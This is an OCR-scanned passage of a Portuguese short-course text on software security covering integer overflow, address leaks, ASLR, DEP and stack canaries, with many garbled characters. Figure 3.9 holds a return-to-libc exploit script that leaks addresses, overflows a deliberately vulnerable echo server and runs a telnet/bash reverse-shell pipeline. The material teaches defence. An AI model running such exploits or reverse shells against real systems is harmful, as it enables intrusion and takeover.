um codigo injetado no programa a partir da entrada, tornando a tomada de controle do
programa bem mais improvavel. Entretanto, esse tipo de defesa dificulta, mas ndo impede
um ataque, pois um atacante pode, ainda, desviar o fluxo de execu¢do para um cédigo
bindrio ja carregado, como por exemplo uma biblioteca compartilhada. Dessa forma,
codigo legitimo € reutilizado para fins maliciosos. O exemplo candnico de biblioteca
utilizada nesse tipo de ataque € a 1ibc, a biblioteca padrao da linguagem C. Embora
possa-se imaginar que tal ataque ofereca um controle bastante limitado ao atacante, tal
fato ndo se confirma na pratica: conforme demonstrado em [Tran et al. 2011], um ataque
de retorno a 1ibc Turing-completo € possivel, ou seja, um atacante pode realizar todo
tipo de computacao.

3.4.2. Estouro de Inteiro

Algumas das linguagens de programac¢do mais populares, como C, C++ e Java, limi-
tam o tamanho de tipos numéricos inteiros. Por exemplo, o tipo int, em Java, contém
os niimeros inteiros entre —23! ¢ 23! — 1. Existem, portanto, niimeros que nio podem
ser representados por esses tipos. Operagdes aritméticas inteiras, nessas linguagens de
programagdo, possuem uma semdntica modular [Warren 2002]. Se um numero n € arma-
zenado em uma varidvel v de tipo primitivo 7', e o valor de n € maior que o limite superior
de T, aqui chamado 7},,,, entdo parte dos bits que compdem n sdo descartados. O valor
armazenado em v termina por ser n modulo 7,,,,. A Figura 3.3 ilustra essa semantica
modular. Neste exemplo, estamos mostrando um programa escrito em C, que opera sobre
o tipo char. Esse tipo nimero possui oito bits em complemento de dois. Assim, sete
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bits representam valor, e um bit representa sinal. O inteiro 128 ndo possui representacao
nesse tipo. A tentativa de armazenar esse nimero em uma varidvel char produz o valor
128 médulo 128 = —1 em complemento de dois.

int main() {

char i = 118; 123 -128 -123 -118 -113 -108 -103 -98

while (i < 125) { -93 -88 -83 -78 -73 -68 -63 -58
i += 5; -53 -48 -43 -38 -33 -28 -23 -18
printf("%8d", i); -13 -8 -3 2 7 12 17 22

} 27 32 37 42 47 52 57 62
Fintf("\n"): 67 72 77 82 87 92 97 102

) P ( )i 107 112 117 122 127
(a) (b)
122=0 1 1 1 1 0 1 1 =123,,
28=1 0 0 0 0 0 0 0 =-128,,
133=1 0o 0 0 0 1 o0 1 =-123, (¢

Figura 3.3. (a) Programa que ilustra a semantica modular de operacoes aritméti-
cas inteiras em C. (b) Saida produzida pelo programa exemplo. (c) Representa-
cao de trés diferentes numeros usando o tipo char, com sete bits de valor, e um
bit de sinal.

A tentativa de armazenar um numero » em um tipo 7', sendo n maior que a capaci-
dade de T, produz um Estouro de Inteiro. Existem situacdes em que estouros de inteiros
sdo aceitaveis [Dietz et al. 2012]. Por exemplo, programadores podem usar esse com-
portamento para implementar fung¢des hash e geradores de nimeros aleatdrios. Por outro
lado, o mal uso desse semantica pode ter consequéncias catastréficas. Possivelmente, o
caso mais famoso de falha de software devido a Estouro de Inteiros aconteceu em 1996.
Naquele ano, o foguete Ariane 5 teve de ser destruido devido a uma perda de precisdo
em aritmética de inteiros. Essa falha custou ao programa espacial europeu cerca de 370
milhdes de ddlares.

3.4.2.1. Vulnerabilidade de Software devido a Estouro de Inteiro

Estouros de inteiro podem levar a implementagdo ndo somente de programas semantica-
mente incorretos, mas também a implementacdo de programas vulnerdveis. Como apon-
tado por Dietz et al. [Dietz et al. 2012], a semantica modular de C € a causa de diversas
vulnerabilidades em aplicacdes bem conhecidas, como OpenSSH e Firefox. A Figura 3.4
ilustra uma vulnerabilidade desse tipo. A fun¢do read_matrix copia uma matriz, em
formato linearizado, isto €, representada como um vetor, a partir do arranjo de origem
data para o arranjo de destino buf. Uma faixa de memodria de tamanho BUF_SIZE
¢ alocada para buf na linha 5 de nosso exemplo. Uma vez alocada essa regido, que ird
receber dados, a funcdo read_matrix realiza a cOpia, caracter a caracter, nos lagcos
vistos nas linhas 6 e 7. O correto funcionamento da fun¢io assume que o produto w =
h € menor que BUF__SIZE. Tal garantia é dada pelo teste condicional na linha 3. Sendo
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esse teste verdadeiro, o programador entende que nunca serdo copiados para buf mais
dados que o arranjo buf comporta.

l void read matrix(int* data, char w, char h) {

char buf size = w * h;

if (buf_size < BUF_SIZE) { BUF_SIZE = 120

char
int c0, cl;

int buf[BUF SIZE];

2

3

: strlen(data) = 132
6 for (c0 = 0; c0 < h; c0++) {

7

8

9

char

buf size = -124

char

for (cl = 0; cl < w; cl++) {
int index = c0 * w + cl;

buf[index] = data[index]

~e

10 }

" y W=000001T10-= 6y,
12 process (buf) ; h=00010110=22,,
13} h*w=10000100=-124,,
14 }

Figura 3.4. Exemplo de estouro de inteiro que pode ser usado para habilitar um
ataque de estouro de arranjo.

Existe, contudo, a possibilidade que um Estouro de Arranjo atribua a varidvel
buf_size um valor muito menor que a expressdo w * h produziria, se o tipo char
possuisse capacidade infinita. Por exemplo, se w for 6, e h for 22, entdo o produto w =
h € 132. Esse nimero, quando atribuido a uma varidvel do tipo char, gera o valor -124.
Isso faz com que o teste na linha 3 seja inicialmente verdade, ainda que BUF_SIZE seja
um valor menor que 132. Em nosso exemplo, temos que BUF_SIZE E 120. O arranjo
buf serd totalmente preenchido com dados, € os 12 bytes restantes irdo sobre-escrever
memoria da pilha da fun¢do read_mat rix. Essa situagdo configura um caso de ataque
de Estouro de Arranjo. Se a aritmética inteira de C possuisse precis@o infinita, entdo a
fungcdo read_matrix estaria totalmente guardada contra esse tipo de ataque.

Estouro de Arranjo podem também tornar possiveis ataques de ndo terminagao de
programas. Um adversdrio realiza um ataque desse tipo fornecendo ao programa alvo
entradas cuidadosamente produzidas para forcar iteragdes eternas sobre um laco vulne-
ravel. Tal cendrio € ilustrado pela Figura 3.5, que contém um programa que computa
o fatorial de um ndmero inteiro. O tamanho do tipo int, em C, ndo € parte da espe-
cificagdo da linguagem. Essa informagdo depende, antes, da implementagdo do com-
pilador. Entretanto, € usual que inteiros sejam representados como numeros de 32 bits
na maior parte das arquiteturas modernas. Neste caso, o maior inteiro representavel é
MAX_INT =231 — 1 =2,147,483,647. Se o parametro n for igual a MAX_INT, entio a
condi¢do da linha 4 sempre serd verdadeira, e o lago nunca termina. A ndo-terminagdo
ocorre porque quando i finalmente chega a MAX_INT, a soma i + 1 produz o menor in-
teiro possivel, isto é, —23!. A funcio fact vista na Figura 3.5 (b) ndo apresenta esse tipo
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de vulnerabilidade, uma vez que o teste na linha 3 exclui parametros muito grandes.

(@ 1 int fact(int n) { se MAX INT=232.] (b | in® fact(int n) {
- int r = 1;

2 int r = 1; 2 :
3 int i = 2; ese i=MAX_INT, 3 1if (n < 13) {
4 while (i <= n) { . 32 4 int 1 =2
5 r %= i entdoi+ 1 =-2 5 while (i <= n) {
6 i++; , 6 r *= i;
7 } ' 7 i++;
8
8 return r; }
9 } 9 '}

10 return r;

1}

Figura 3.5. (a) Uma funcao em C, que calcula o fatorial de um nimero inteiro
e esta sujeita a ataques de nao-terminacao devido a estouros de arranjos. (b)
Funcao similar, protegida contra a nao-terminacao.

3.4.2.2. Protecao contra Estouro de Inteiros

E possivel sanear programas contra a ocorréncia de Estouro de Inteiros automaticamente.
Tal saneamento da-se via a inserc@o de testes que verificam a ocorréncia de estouros, e
direcionam o fluxo de execu¢do do programa para rotinas de tratamento de erro [Brumley
et al. 2007, Dietz et al. 2012, Rodrigues et al. 2013]. O cddigo que constitui cada um
desses testes € formado por uma guarda, mas um tratador de eventos. Essas guardas usam
testes como aqueles ilustrados na Figura 3.6 para verificar a ocorréncia de estouros de
precisdo. A Figura 3.6 mostra testes que detectam estouros nas seguintes operagdes arit-
méticas: adi¢do, subtracdo, multiplicacdo e arredamentos para a esquerda. As operagdes
de adi¢do, subtrac@o e multiplicagdo podem ser com ou sem sinal aritmético.

Os testes sd@o implementados como sequéncias de operacdes bindrias, executados
logo ap6s a instrucdo guardada, e podem ser inseridos pelo compilador durante a geracao
de cddigo. Para ilustrar esse ponto, a Figura 3.7 mostra o cddigo que instrumenta uma
soma com sinal de duas varidveis. A Figura usa c6digo no formato intermedidrio de trés
enderecos. Essa representacdo € padrdo entre véarios compiladores, como gcc e LLVM.
Omitimos, nesse exemplo, o cddigo do tratador de evento de estouro, pois ele simples-
mente chama uma rotina implementada em uma biblioteca dinamicamente compartilhada.
Conforme podemos observar pela Figura, uma guarda aumenta o cédigo instrumentado
substancialmente. Nesse exemplo em particular, a verificacdo requer a insercdo de 14
novas instru¢des no programa guardado. Embora tal crescimento a principio possa pa-
recer proibitivamente grande, diversos grupos de pesquisa ja realizaram experimentos
indicando que somente uma parcela muito pequena das instru¢cdes do programa alvo pre-
cisam ser guardadas [Brumley et al. 2007, Dietz et al. 2012, Rodrigues et al. 2013].
Consequentemente, o custo, em termos de crescimento de cédigo e perda de desempe-
nho, é negligivel, ficando em torno de 1% a 5%.
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Instrucao

X=01 +5 02

X=01 +,4 07

X=0] —s 02

X=01 —u 02
X =01 xu/s 0)
X =o01 shiftn

x={n 01

Verificacdo

(01 >0N0, >0Ax<0) V
(01 <0N0p <0AX>0)

x<o1Vx<o;

(01 <0Vo,>0Vx>0) V
(01 >0Vo, <0Vx<0)

01 <0,
x#0=>x+01# 0
(01 >0Ax<o01)V (0 <OAR#O0)

cast(x, type(o1)) # 01

Figura 3.6. Testes para deteccao de Estouro de Inteiros. Usamos |, para descre-
ver a operacao que trunca em n bits. O subscrito s indica uma operacao aritmé-
tica com sinal, e o subscrito « indica uma operacao sem sinal.

(a) ©

int foo(int x, int y) {
return x + y;

}
(b)

entry:
%add = add nsw i32 %x, %y
ret i32 %add

(©

X = 0; T 0,

(d)

0;,>0A0,>0Ax<0) v
1 2

0, <0A0,<0AXx>0
1 2

entry:

%add = add nsw i32 %x, %y
%0 = icmp sge 132 %x, 0
Sl icmp sge 132 %y, O
%2 and il %0, %1

%3 icmp slt 132 %add, O
%4 and il %2, %3

%5 icmp slt 132 %x, O
%6 icmp slt 132 %y, O
%7 and il %5, %6

%8 icmp sge 132 %add, O
%9 and il %7, %8

%10 = or 11 %4, %9

br il %10, label %11, label %12

%11:

call void %handle_overflow(...)
br label %12

\ ‘(/////
%12:
ret i32 %add

Figura 3.7. Instrumentacao usada para prevenir Estouro de Arranjos. (a) Pro-
grama a ser instrumentado. (b) Representacao intermediaria do programa a ser
protegido. (c) Soma com sinal: operacao que sera guardada contra Estouro de
Inteiros. (d) Teste usado para verificar a ocorréncia de estouros na soma com
sinal. (e) Representacao intermediaria do programa protegido.

3.4.3. Vazamento de Endereco

Um vazamento de enderecos ocorre quando um adversario descobre em que partes da me-
moria estio carregados os dados ou cédigos de um programa. Este tipo de conhecimento,
que pode parecer inofensivo, acaba por anular dois mecanismos de seguranga impostos
pelo sistema operacional: Aleatorizacdo de Espaco de Endereco— (ASLR) [Shacham et al.
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2004a], [Bhatkar et al. 2003] e a Prevencdo contra a Execucdo de Dados— (DEP).

Sistemas Operacionais modernos usam um mecanismo de prote¢ao chamado Ale-
atorizacdo de Espaco de Endereco—(ALSR) que consiste em carregar os bindrios do pro-
grama em partes diferentes da memoria a cada execugdo. Esta técnica protege o software
contra ataques bem conhecidos, tais como return-to-1ibc [Shacham et al. 2004a]
e return-oriented-programming (ROP) [Shacham 2007]. Entretanto, mesmo um sistema
protegido por Aleatorizacdo de Espaco de Endereco pode ser atacado caso o programa
possua o bug conhecido como vazamento de endereco.

Como forma de melhor visualizarmos o problema de vazamento de endereco, se-
guiremos com um exemplo deste tipo de vulnerabilidade e como um adversério poderia
prejudicar o sistema. Os trechos que seguem podem ser encontrados em sua versao origi-
nal em [Quadros and Pereira 2012b].

3.4.3.1. Exemplo de vazamento de endereco

A Figura 3.8 mostra um simples echo server que contém um vazamento de endereco e que
possibilita 2 um adversério realizar um ataque de Estouro de Arranjo. Ele basicamente
aguarda por uma conexao na porta 4000 e quando isso acontece, ele ecoa a string recebida.
A DEP evita um ataque por Estouro de Arranjo cldssico, pois impede a execugao de dados.
Porém, um Estouro de Arranjo pode ser usado para redirecionar o fluxo de controle para
uma das fungdes da 1ibc, que nos permite realizar tarefas sensiveis como gerar novos
processos, enviar e-mails e abrir conexdes via socket.

Neste exemplo, o adversdrio conseguird abrir um terminal felnet com a maquina
que estd executando o echo server. Este tipo de ataque é chamado de return-to-1ibc
e tem como precondicdo o conhecimento prévio da funcdo alvo, neste caso a fungdo
system da libc. Esta informacdo ndo € facilmente obtida pelo adversario em um sistema
protegido por ASLR, a menos que exista uma vulnerabilidade de vazamento de endereco.

O vazamento de informagdo ocorre na fun¢do process_input. Sempre que o ser-
vidor encontra a string debug ele retorna para o cliente dois enderegos internos: a base
de localbuf, que ¢ um endereco de pilha e o endereco da fungdo send de 1ibc. Para
construir o exploit, usaremos o endereco de send para encontrar o endereco de system e
exit. Em seguida, utilizaremos o enderego base de localbuf para encontrar o endereco dos
argumentos de system. A Figura 3.9 mostra um script em Python que implementa esse
exploit.

O script realiza duas conexdes ao echo server: na primeira, ele envia a string
debug para obter os dois enderecos e na segunda, ele envia os dados contaminados para
criar a conexao telnet. Os dados maliciosos sdo composto por 52 A’s que preenchem
a pilha até imediatamente antes do ponteiro de retorno; os enderecos de system e exit
sdo calculado a partir do endereco de send obtido na primeira conexdo. Finalmente, o
endereco da string com o comando para criar a conexao telnet € calculado a partir do
endereco base de localbuf.

O ataque se concretiza quando sobrescrevemos o endereco de retorno de pro-
cess_input com o endereco da fungdo system. Neste momento ganhamos o controle da
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!

Echo server with info leak
Compile with:

clang -m32 -fstack-protector -g server.c -o server -pie -f PIE
the -fstack-protector directive instructs clang toe add canaries to the
function code, so that attacks that try to change the return address of the

function will not succeed.

#ginclude =netinet/in.h=
#include <string.hs
ginclude <stdio.h=
#ginclude =stdlib.h=

#define MAXRECWVLEN 580
#define PORT 4080

vold legi{char *inbuf) {

}

printf(~Received %d byteswn", strlen{inbuf));

vold process input{char =imbuf, int len, int cliemtfd) {

int

vold (*foo)lchar *};
char localbuf[128];

if {!'stremp(inbuf, "debugin")) {
sprintf{localbuf, "localbuf %pynsend() %piwn", localbuf,
send) ;
} else {
foo = &log;
strepy(localbuf, imbuf);
fooiinbuf) ;

send{clientfd, localbuf, strlen{localbuf}, B8);
main{} {

int sockfd, clientfd, clientlen, len;

char inbuf[MAXRECVLEN + 1];

struct sockaddr in myaddr, cliemtaddr;

sockfd = socket(AF INET, SOCK STREAM, IPPROTOD TCP);
myaddr.sin_ family = AF IMET;

myaddr.sin_addr.s addr = htonl{INADDR ANY);
myaddr.sin_ port = htons{PORT);

pind{sockfd, {(struct sockaddr *}&myaddr, sizeof(myaddr}};
listen(sockfd, 5);

clientlen = sizeof{clientaddr);

while (1) {
clientfd = accepti{sockfd, {(struct sockaddr *)&cliemtaddr, &clientlen});

len = recviclientfd, inbuf, MAXRECWVLEMN, O};
inbuf[len] = '%8°;
process input{inbuf, lem + 1, clientfd);

close{clientfd};
}

close{sockfd);
returm B;

Figura 3.8. Echo Server

maquina que estd executando o echo server. Executando a funcio exit no fim do script
de ataque, nés garantimos a terminac¢ao do cliente depois de obtermos um terminal aberto
com o servidor.
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# Exploit for buggy echo server running on Ubuntu 12.094 &4 bits

# with DEP and ASLR enabled

&

# Run “nc -wv -1 -p BBEE"® in a second terminal before running this script
# to recelve the connect-back shell

import socket
import struct

¢ = socket.socket{socket.AF INET, socket.SOCK STREAM)
c.connect(('localhost', 4008}

buf = “debugin

c.send(buf)

buf = c.recw({512)

leaked stack addr = int{buf[9:buf.find{'“n")]), 16}
leaked send addr = int{buf[27:buf.rfind{'\n'}], 1&})
c.clase(]

¢ = socket.socket{socket.AF INET, socket.SOCK STREAM)
c.connect(['localhost', 4008}

command = [('rm -f backpipe &&% mknod backpipe p &&'
"telnet localhost BEEO G<backpipe | /bln/sbash l=backpipe;')

system addr = leaked send addr - 8xbl394
pad = 120 - len(command)
buf = {(command + '&' * pad +
ctruct.pack{'L', system addr)
]
c.send(buf)

c.closel)

Figura 3.9. Client

3.4.3.2. Anatomia de um vazamento de enderecos

Um programa em execug¢ado possui dois fluxos de informacao nos quais um enderegco pode
percorrer até atingir um canal publico e assim acarretar um vazamento de enderecos:

1. Fluxos explicitos estdo relacionados as dependéncias de dados. Se um programa
contém uma instru¢do que define a varidvel v, e usa a varidvel u, tal comov =u+1,
entdo existe um fluxo explicito de informacao de u para v.

2. Fluxos implicitos estdo relacionados ao fluxo de controle do programa. Se o pro-
grama contém um desvio tal como if p=0thenv=u+1else v=u—1, entdo
existe um fluxo implicito de informagao de p para u, pois o valor atribuido ao dltimo
depende do primeiro.

A fim de tornar mais claro a importancia do fluxo implicito na detec¢do do va-
zamento de enderecos, a Figura 3.10 mostra dois programas escritos em linguagem C
que contém tal vulnerabilidade. Na Figura 3.10 a) observamos um fluxo explicito entre
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a varidvel i e a varidvel k impressa por print f(). Considerando que o adversdrio tem o
acesso ao codigo fonte, € possivel conhecer o endereco de memdria retornado pela fungao
malloc().

Na Figura b) apesar de ndo existir nenhum fluxo explicito entre a varidvel i e o
valor impresso pela func¢@o print f(), podemos inferir que o endereco retornado é maior
que zero se for impresso 1 e menor ou igual a zero caso print f imprima 2, pois o valor
impresso depende do predicado (int)k > 0.

int main (int argc, char **argv) { int main (int argc, char **argv) {
int *i, *j, *k; int *i, *j, *k, cond;
i = (int *) malloc (8); i = (int *) malloc (8);
¥ j = 1]
j++; j+t;
k=1, k =1];
printf ("%p", k); if ((int)k > 0)
} printf ("1");
else
printf ("2");
}
a) b)

Figura 3.10. Exemplo de vazamento de endereco por a) fluxo explicito e b) fluxo implicito.

Uma solugdo para o vazamento de enderegos por fluxo explicito pode ser encon-
trada em [Quadros and Pereira 2011] e [Quadros and Pereira 2012a]. Além disso, uma fer-
ramenta publica capaz de detectar vazamento de enderecos em tempo de compilagdo esta
disponivel em [Quadros and Pereira 2012b]. Entretanto, as solucdes acima nao sdo capa-
zes de lidar com vazamentos por fluxos implicitos. Neste caso, recomendamos a solug¢ao
proposta em [Bruno R. Silva 2013], bem como a ferramenta disponibilizada em [Bruno
R. Silva 2013] que é capaz informar ao desenvolvedor quais os caminhos no fluxo de
controle pode estar vulnerdveis com relagdo ao problema de vazamento de enderecos.

3.5. Defesas
3.5.1. Aleatorizacao de Espaco de Endereco

Trabalhos existentes mostram que Prevencao contra a Execucdo de Dados nao € efetivo
contra ataques do tipo return—-to-1ib ou Programacao Orientada a Retorno (Return
Oriented Programming — ROP), em que o atacante utiliza c6digos existentes em bibliote-
cas de sistema como lib [Shacham et al. 2004a]. Aleatorizacdo de Espaco de Endereco
(Address Space Layout Randomization — ASLR) é uma técnica usada para neutralizar
este tipo de ataques. Em Aleatorizacao de Espaco de Endereco, posi¢des de memoria
de certos componentes (por exemplo, a pilha, o heap, e o codigo executavel) do sistema,
incluindo 1ib, sdo aleatorizadas. Isto faz com que ataques do tipo return-to-1ib
[Solar Designer 1997] e ROP sejam dificeis, ja que o atacante nido tem como saber onde
libc (ou outras funcdes desejadas) estd localizada na memoria. O atacante poderia ten-
tar adivinhar valores arbitrarios (para a posi¢do de fun¢des desejadas), mas a execucao
tipicamente falha (termina anormalmente) se um valor incorreto € usado.

Além de dificultar cada instincia de ataque, Aleatorizacdo de Espaco de Ende-

121 ©2013 SBC — Soc. Bras. de Computa¢do



Minicursos do XIII Simpésio Brasileiro em Seguranca da Informacdo e de Sistemas Computacionais — SBSeg 2013

reco também serve para prevenir atacantes de usarem o mesmo c6digo de ataque contra
multiplas instancias de um programa contendo a mesma vulnerabilidade no cédigo. Para
obter sucesso em sistemas que usam Aleatorizacdo de Espaco de Endereco, o atacante
teria que gerar codigos diferentes para cada instincia de um programa aleatorizado, ou
realizar ataques de forga-bruta para adivinhar o layout do espaco de enderecamento. A
efetividade de Aleatorizacao de Espaco de Endereco depende da probabilidade do ata-
cante conseguir adivinhar a posicdo de dreas alocadas aleatoriamente. Quanto maior o
espaco de busca, maior € o nivel de seguranca. Assim, a efetividade de Aleatorizacao de
Espaco de Endereco aumenta com o nivel de entropia dos offsets aleatorios. Aumento de
entropia pode se dar de duas formas: 1) aumento do tamanho da memdria virtual sobre a
qual a aleatorizacao € aplicada; e 2) aumento da frequéncia de realeatorizagdo.

O espaco de aleatorizacdo depende do tipo de sistema. Um dos primeiros traba-
lhos [Shacham et al. 2004a] que estuda o relacionamento entre o nivel de seguranca e o
tamanho do espacgo de aleatorizacdo mostra que, para sistemas de 32-bits e 16-bits de ale-
atorizacdo, a Aleatorizag¢do de Espaco de Endereco pode ser derrotada por forca-bruta em
questdo de minutos (naturalmente, este tempo baseia-se na velocidade de computadores
da época). Note que o tempo mencionado supde que o atacante pode executar o ataque
repetidamente, sem interrupcao. Na prdtica, tais tentativas podem ser desaceleradas. Por
exemplo, o sistema pode impedir um executdvel que tenha falhado (terminado anormal-
mente) um certo nimero de vezes em um curto intervalo de tempo de executar por um
periodo de tempo , antes de ele poder voltar a executar.

Quanto a realeatorizacgdo, ela pode ser feita em tempo de compilagdo ou tempo de
execucdo. Em realeatorizacao em tempo de compilagdo, as aleatorizagdes sdo executadas
quando o sistema € construido (“built”, compiled and linked). A desvantagem desta
solucdo é que o layout permanece 0 mesmo entre tentativas sucessivas de um ataque de
forca-bruta (exceto em casos onde o sistema € reconstruido). Em realeatorizacdo em
tempo de execucdo, um layout diferente € gerado depois de cada tentativa mal sucedida.

Aleatorizagdo de Espago de Endereco € disponivel em um grande nimero de siste-
mas operacionais atuais (incluindo Linux, Windows Vista e 7, e Mac OS X), mas funciona
um pouco diferente em cada caso [Schwartz et al. 2011]. Linux [PaX Team 2001] alea-
toriza a pilha, o heap, e as bibliotecas (compartilhadas), mas ndo a imagem do programa.
Windows Vistae 7 [Howard and Thomlinson 2007] podem aleatorizar as posi¢des da ima-
gem do programa, da pilha, do heap, e das bibliotecas, mas apenas quando o programa
e suas bibliotecas optarem por Aleatorizacdo de Espaco de Endereco. Caso contrario,
parte do cddigo ndo serd aleatorizada. Por exemplo, no caso de Windows, se alguma de
suas aplicagdes populares (e.g., Adobe Reader) nao suportar ou nao for compativel com
Aleatorizagdo de Espaco de Endereco, o sistema teria c6digos bindrios ndo-aleatorizados
[Pop and Specialist 2010].

Finalmente, enquanto que Prevencdo contra a Execu¢do de Dados e Aleatoriza-
cdo de Espaco de Endereco s@o amplamente reconhecidos teoricamente como mecanis-
mos efetivos de protecao, suas implementagdes em geral realizam tradeoffs em termos de
compatibilidade e desempenho, o que possibilita que eles sejam neutralizados na prética.
Por exemplo, em [Shacham et al. 2004a], foi mostrado um ataque de desaleatorizacao,
em que um ataque padrdo de Estouro de Arranjo é convertido em um ataque que funciona
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contra sistemas protegidos pela Aleatorizacdo de Espaco de Endereco. [Schwartz et al.
2011] apresenta um outro exemplo.

3.5.2. Prevencao contra a Execuciao de Dados

Ataques de Estouro de Arranjo continuam sendo um dos tipos mais comuns de ataques
vistos hoje. Neste tipo de ataque, ¢ comum o atacante for¢ar um programa a armazenar
codigos maliciosos em dreas de memoria destinadas a dados, e executar o cédigo dentro
desta area [Aleph One 1996]. Uma forma de impedir que este tipo de ataque seja bem
sucedido € obrigar o sistema a usar a memoria de forma disciplinada e impedir execucao
de codigo nas areas de armazenamento de dados do sistema. A Prevengdo contra a Exe-
cucdo de Dados (Data Execution Prevention — DEP) é uma funcionalidade incluida em
sistemas operacionais atuais [PaX Team 2000, Microsoft Support a] que implementa tal
protecdo. Num sistema com Prevencao contra a Execu¢@o de Dados habilitada, regides
de memoria ndo destinadas a codigos executdveis sdo marcadas como ‘“ndo-executiveis’.
Durante o tempo de execugdo, se um programa tenta executar cddigo nessas regides, uma
exce¢do € lancada e o programa € abortado. Isto acontece independentemente de o cédigo
ser malicioso ou ndo. Note que a Prevenc¢ao contra a Execucdo de Dados néo foi proposta
para impedir que programas maliciosos sejam instalados em sistemas. Ele foi proposto
para monitorar execucdes de programas ja instalados e ajudar a assegurar que estes usem
a memoria do sistema de forma segura. Prevencdo contra a Execu¢do de Dados também
€ conhecido como W xor X (Write or Execute) [Schwartz et al. 2011]. De acordo com W
xor X, paginas no heap, na pilha, e em outros segmentos de memdria sao marcadas como
writable (W) ou executable (X), mas ndo ambos.

3.5.2.1. Implementacio em Hardware

Prevencao contra a Execucdo de Dados pode se fazer cumprir em hardware em sistemas
onde o processador implementa a fun¢do. A arquitetura do processador determina como
a fun¢do é implementada em hardware. Entretanto, como a Prevencio contra a Execugdo
de Dados funciona no nivel de paginas de memoria virtual, tipicamente um bit € reser-
vado nas entradas de tabela de paginas para indicar se execugao de c6digo € permitida nas
paginas correspondentes. Dependendo do conteudo previsto para a pigina (codigo exe-
cutdvel ou dado), o processador pode ou ndo setar o bit. Se houver tentativa de execugado
de cbdigo a partir de uma pédgina cujo bit € setado (a pagina contendo dados, suposta-
mente), o processador lancard uma excecao e a execugdo do programa serd abortada. Esta
func¢ao € disponivel em vdrias arquiteturas de processadores e recebe nomes diferentes de
marketing, como bit XD (eXecute Disable) [Intel Corporation ] e bit XN (eXecute Never)
[ARM Holdings 2008]. Note que implementagdo de hardware, por si s6, ndo traria pro-
tecdo. Tanto o BIOS de sistema quanto o sistema operacional precisam oferecer suporte
a funcdo, a qual necessita estar habilitada. A Prevencdo contra a Execucdo de Dados é
disponivel nos principais sistemas operacionais, incluindo Linux [PaX Team 2000], Mac
OS X, 108, Microsoft Windows [Microsoft Support a] € Android.
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3.5.2.2. Efetividade

E importante mencionar que a Prevencio contra a Execucio de Dados é efetiva apenas
contra uma subclasse de ataques de estouro de arranjos, nas quais o atacante tenta colocar
o codigo malicioso na pilha, no heap, ou em outras dreas destinadas a dados. Ela ndo é
efetiva contra ataques do tipo return—-to—-1ibc [Solar Designer 1997, Schwartz et al.
2011, Shacham et al. 2004b] (veja discussdo abaixo), nos quais o atacante tenta utilizar
fungdes de bibliotecas existentes.

Em sistemas protegidos por Prevengdo contra a Execu¢do de Dados, atacantes nao
podem injetar e executar seus proprios cédigos. Entretanto, eles podem usar c6digos.
executdveis existentes — seja o cédigo do préprio programa, ou o cddigo das bibliotecas
carregadas pelo programa. Por exemplo, atacantes podem escrever nas posi¢des da pilha
acima do enderego de retorno do quadro de execugdo corrente e alterar o endereco de
retorno para apontar para a funcio que eles gostariam de chamar. Quando a funcdo no
quadro de execugdo corrente retornar, o fluxo de controle do programa sera dirigido para
a funcao escolhida, e os dados fornecidos nas posi¢des acima do endereco de retorno na
pilha serdo usados como argumentos da fungao.

Tradicionalmente, as funcdes da biblioteca padrdao da linguagem C sdo as mais
populares para este propdsito. Isto porque ela é carregada junto a qualquer programa
em Unix e estd por trds das APIs das chamadas de sistema usadas pelos programas para
acessarem servicos de kernel como process fork e network sockets. Por esta razdo, esta
classe de ataques passou a ser chamada de return-to-1ibc. Note que em ataques
do tipo return-to-1libc o atacante precisa conhecer os enderecos das funcdes libc.
Introduzindo-se aleatoriedade ao endereco base da libc, pode-se aumentar a dificuldade
de os atacantes se aproveitarem dessas fungdes Aleatorizacdo de Espaco de Endereco
(Address Space Layout Randomization — ASLR) é uma técnica de aleatoriza¢do proposta
para criar este tipo de barreira, e serd vista na préxima secao.

3.5.2.3. Prevencao contra a Execucio de Dados Baseada em Software

Além do mecanismo de hardware descrito acima, existe um mecanismo implementado
em software, comumente conhecido como Prevencao contra a Execugdo de Dados Base-
ada em software. Em vez de oferecer protecdo contra execugdo de c6digo em paginas de
dados, o software Prevencao contra a Execucdo de Dados ajuda a impedir cédigos ma-
liciosos de explorarem os mecanismos de tratamento de exce¢do em Windows. Com o
software Prevencdo contra a Execu¢do de Dados, quando uma excec¢do € langada, o sis-
tema simplesmente checa se a rotina de tratamento da excec¢do € registrada na tabela de
funcdes para a aplicacdo e incluida no cddigo executdvel. Note que, embora software
DEP aparentemente impega execucio de cddigo a partir de paginas de dados, ela é uma
forma diferente de protecao.

O Software Prevengdo contra a Execu¢do de Dados também € conhecido como
Safe Structured Exception Handling — SafeSEH). [Microsoft Support b].
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3.5.3. Canarios
3.5.3.1. Visao geral

Candrios sdo valores de guarda constantes que sdo inseridos na pilha, entre um buffer
e dados sensiveis da pilha, de maneira a monitorar estouros de arranjos em tempo de
execucdo, conforme pode-se visualizar na figura3.11. A ideia bésica é que o Candrio
atue como um indicador de que houve corrupcdo de dados da pilha e que, portanto, a
seguranca estd comprometida. Dessa forma, antes do retorno de uma fungdo, checa-se
a integridade do Candrio; caso ela ndo tenha se mantido, assume-se que outros dados da
pilha tenham sido corrompidos e um c6digo de tratamento de erros € disparado, o que, em
geral, implica no encerramento do programa. Os Candrios sdo inseridos pelo compilador
e ndo exigem qualquer tipo de intervencao do usudrio.

Conforme sera discutido adiante, apesar de algumas limitagdes de que sofrem os
Candérios, essa medida de prote¢do conta com a grande vantagem de simplicidade e baixo
custo computacional. Logo, demonstram-se uma boa op¢ao para os sistemas embarcados,
que contam com recursos limitados.

Diferentemente de recursos sofisticados que imbuem num grande custo temporal
e espacial, os Canarios resumem-se a algumas instru¢des de maquina adicionais € uma
constante por funcdo protegida. Na linguagem intermedidria do LLVM, por exemplo, o
preambulo e o epilogo da fungdo ficam como se segue:

entry:
StackGuardSlot = alloca 18+«
StackGuard = load __stack_chk_guard
call void @llvm.stackprotect.create (StackGuard, StackGuardSlot)

return:

%1 = load __stack_chk_guard
%2 = load StackGuardSlot
$3 = cmp 11 %1, %2

r i1 %3, label %SP_return, label %CallStackCheckFailBlk

SP_return:

ret

CallStackCheckFailBlk:
call void @__ _stack_chk_fail()
unreachable

3.5.3.2. Evolucao

Os Candrios foram inicialmente propostos no projeto StackGuard. Desde entdo ja sofre-
ram diversas adaptagcdes. Além de variagcdes no tipo de Candrio, ao longo de sua histodria,
os Candrios evoluiram principalmente com relagdo a trés aspectos: o tipo de constante a

125 ©2013 SBC — Soc. Bras. de Computa¢do



Minicursos do XIII Simpésio Brasileiro em Seguranca da Informacdo e de Sistemas Computacionais — SBSeg 2013

cédigo de ataque cédigo de ataque
